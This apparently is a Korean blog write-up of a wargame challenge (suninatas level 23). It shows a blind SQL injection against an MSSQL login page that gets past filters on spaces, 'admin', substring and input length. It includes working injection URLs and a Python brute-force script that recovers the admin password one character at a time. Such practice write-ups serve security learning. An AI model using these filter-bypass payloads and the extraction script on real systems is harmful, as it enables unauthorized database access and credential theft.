level 22는 23이랑 똑같은데 더 쉬우므로 그냥 안씀...
22와 달리 admin이 필터링되있고, 거기다가 길이제한도 있는데, mysql이 아니라 mssql이라
꽤 오래 걸림....
공백 필터링, 그리고 아래 필터링된다고 써져있는것들 필터링, 길이제한까지 되있다.
최대한 길이를 줄여가며 인젝션. admin이 필터링되어있길래 mysql에서는 'a' 'dmin'같이 하면 되서
해봤는데 안된다. 귀찮아서 안찾다가 찾아보니 'a'+'dmin'처럼 +로 붙여줄수 있어서 이렇게 해봤는데
이번엔 길이제한에 걸린다. 이리저리 해보다가 다 안되서 그냥 admin을 포기하고 해보기로 했는데
된다.
id=' or len(pw)>10-- &pw=guest 처럼 해봤는데 OK admin이 나온다.... len(pw)<999처럼 하면
guest와 admin이 둘다 true가 되지만 OK guest만 출력되는거 보면 guest가 테이블의 위쪽에
있는것 같다. 어쨋든 guest의 비밀번호길이는 5글자(guest)이므로 len(pw)>6 이런식으로 길이를
키워나가다 길이가 12자라는걸 발견했다.
길이.
http://suninatas.com/Part_one/web23/web23.asp?id=%27%0aor%0alen(pw)%3E11--&pw=guest
이제 쿼리를 짜면 된다. substring가 필터링되어있으므로 left,right를 쓰면 된다.
http://suninatas.com/Part_one/web23/web23.asp?id=%27%0aor%0aright(left(pw,1),1)=%27v%27--&pw=guest
처럼 하면 OK admin이 출력되어 admin의 비밀번호 첫글자는 v라는걸 알 수 있다.
처음에는 일반적인 mysql의 블라인드 인젝션처럼 right(left(pw,1),1)한 값을 아스키코드값으로 만들어서
32~128범위로 돌리려고 했다. 근데 위의 쿼리에서 id에 한 글자라도 더 들어가면 no hack이 뜬다.
길이 제한에 걸렸기 때문이다. 그래서 그냥 저런식으로 쿼리를 놓고 코드를 짰다.
근데 pw길이가 12라서; 10번째,11번째 12번째 문자열을 구할땐 right(left(10,1),1)등으로 되는데,
또 길이제한에 걸려서 10,11,12번째값이 안 나왔다.
스페이스를 하나 뺀 이런 쿼리로 돌렸다.
http://suninatas.com/Part_one/web23/web23.asp?id=%27or%0aright(left(pw,1),1)=%27v%27--&pw=guest
잘 보면 알겠지만 첫번째 %27다음에 %0a가 사라졌음.
코드를 짜면.
import urllib2 answer = '' for j in range(1,13): for i in range(0,128): print j,i,answer req = urllib2.Request('http://suninatas.com/Part_one/web23/web23.asp?id=%27or%0aright(left(pw,'+str(j)+'),1)=%27'+chr(i)+'%27--&pw=guest') req.add_header('cookie','ASPSESSIONIDQSTDACTR=쿠키') try: read = urllib2.urlopen(req).read() if read.find('color=blue>admin') != -1: print chr(i) answer += chr(i) break except: pass print answer
검사하는 부분을 try, except로 짠건 쿼리가 에러가 발생하는 경우가 있는데(아스키코드 32같은게
들어갔을 경우 서버측에서 이상한 코드로 인식되어 400,404등 에러가 발생함.) 그 경우까지 피해가기
위함이다. 그리고 돌리면 값이 나오는데 값은 참고로 소문자+숫자이다.(q&a게시판에서 발견)
'webhacking > sql, sql injection' 카테고리의 다른 글
chall.tasteless.se Stop Quotes (0) | 2014.11.21 |
---|---|
chall.tasteless.se Milk (0) | 2014.11.21 |
suninatas level 6 (0) | 2014.10.30 |
webhacking.kr 22 (0) | 2014.10.23 |
webhacking.kr 21 (0) | 2014.10.23 |